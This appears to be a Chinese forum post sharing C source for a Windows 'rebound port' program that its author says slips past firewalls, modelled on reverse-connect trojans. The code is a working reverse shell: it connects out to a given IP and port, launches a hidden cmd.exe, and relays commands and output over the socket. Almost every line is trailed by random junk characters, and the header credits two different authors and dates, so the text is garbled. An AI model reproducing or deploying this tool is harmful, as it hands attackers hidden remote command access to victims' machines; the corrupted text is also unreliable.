这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 W (TTsnnx
}Y.@:v
j
/* ============================== j,].88H
Rebound port in Windows NT 2u_=i$xW
By wind,2006/7 gYbvCs8O!
===============================*/ _5n2'\] H`
#include FEhBhv|m
#include rMWvW(@@D
o/,%rA4
#pragma comment(lib,"wsock32.lib") 74
ptd,
,e$RvFB
void OutputShell(); <hy!B4
SOCKET sClient; \I i#R
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $#e}9g.
(421$w,B%
void main(int argc,char **argv) M6cybEk`
{ n5xG4.#G
WSADATA stWsaData; anz7ae&P'K
int nRet; (:~_#BA
SOCKADDR_IN stSaiClient,stSaiServer; pvt/{
#q34>}O< O
if(argc != 3) 6T~+vT
{ Kg2@]J9m
printf("Useage:\n\rRebound DestIP DestPort\n"); Vt zSM%=
return; .Sw4{m[g
} </<z7V,{
n @@tO#!\
WSAStartup(MAKEWORD(2,2),&stWsaData); NY?iuWa*g
/Tl ybSC1
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); o>]w76A^(
]igCV
stSaiClient.sin_family = AF_INET; "e\73?P
stSaiClient.sin_port = htons(0); E.$//P n|1
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); @:hWahMy
W{ozZuo
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) .-s!} P"
{ Qh3+4nLFtb
printf("Bind Socket Failed!\n"); )I<VH+6
return; =#TQXm']Gi
} Jnt
r"a-4
{3vm]
stSaiServer.sin_family = AF_INET; Rbm+V{EF&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 6"?#s/fk
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); lKI]q<2
,trh)ZZYW|
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) z}5'TV=^
{ 0_y&9Te
printf("Connect Error!"); ZQz;EV!
return; 4byh,t
} w\t
OutputShell(); B7{j$0fm*
} ?\Y7]_]/
+W>tdxOh
void OutputShell() V /OW=WCzN
{ cEJ_z(\=hr
char szBuff[1024]; F r2
+p
SECURITY_ATTRIBUTES stSecurityAttributes; Rx%kAt2X
OSVERSIONINFO stOsversionInfo; &#q%#M:
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe;
~|KMxY(:
STARTUPINFO stStartupInfo; bg4VHT7?>)
char *szShell; jAt65a
PROCESS_INFORMATION stProcessInformation; g5Hsz,x
unsigned long lBytesRead; I GcR5/3
S9/\L6Rmf
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); DML0paOm5
8^-g yx'
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); 9D%~~~
%b
stSecurityAttributes.lpSecurityDescriptor = 0; !})3Fb
stSecurityAttributes.bInheritHandle = TRUE; I$i1o#H
A]V<K[9:b
mW_A3S5
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Q%GLT,f1.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1nLFtiki
f'Xz4;
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 9qZ|=r]y'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SLd9-N}T
stStartupInfo.wShowWindow = SW_HIDE; MT&q~jx*
stStartupInfo.hStdInput = hReadPipe; nDchLVw
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; t^9q>[/d`
HZ2 zL17
GetVersionEx(&stOsversionInfo); T5U(B3j_
Z3T26Uk
switch(stOsversionInfo.dwPlatformId) 7xT<|3 I
{ p@znmn-
case 1: ^h|'\-d\
szShell = "command.com"; n_] OYG>U
break; 483vFLnF
default: QaEXk5>e
szShell = "cmd.exe"; `Sj8<O}
break; naB[0I&
N
} =WP}RZ{S
WHF:>0B
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 2,%ne (
]gj@r[
send(sClient,szMsg,77,0); 0$49X
while(1) b}G +7B
{ sAc)X!}
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0P53dF
if(lBytesRead) &jPsdv h
{ gzdgnF2
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8|Y^z_C
send(sClient,szBuff,lBytesRead,0); 8i"{GGVC
} {gi"ktgk
else *XzUqK
{ u09OnP\
lBytesRead=recv(sClient,szBuff,1024,0); ~JT{!wcE}o
if(lBytesRead<=0) break; e S
Fmx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); [K9q+
} CnA*o 8w
} zKWi9
XJOo.Y
return; anV)$PT=
}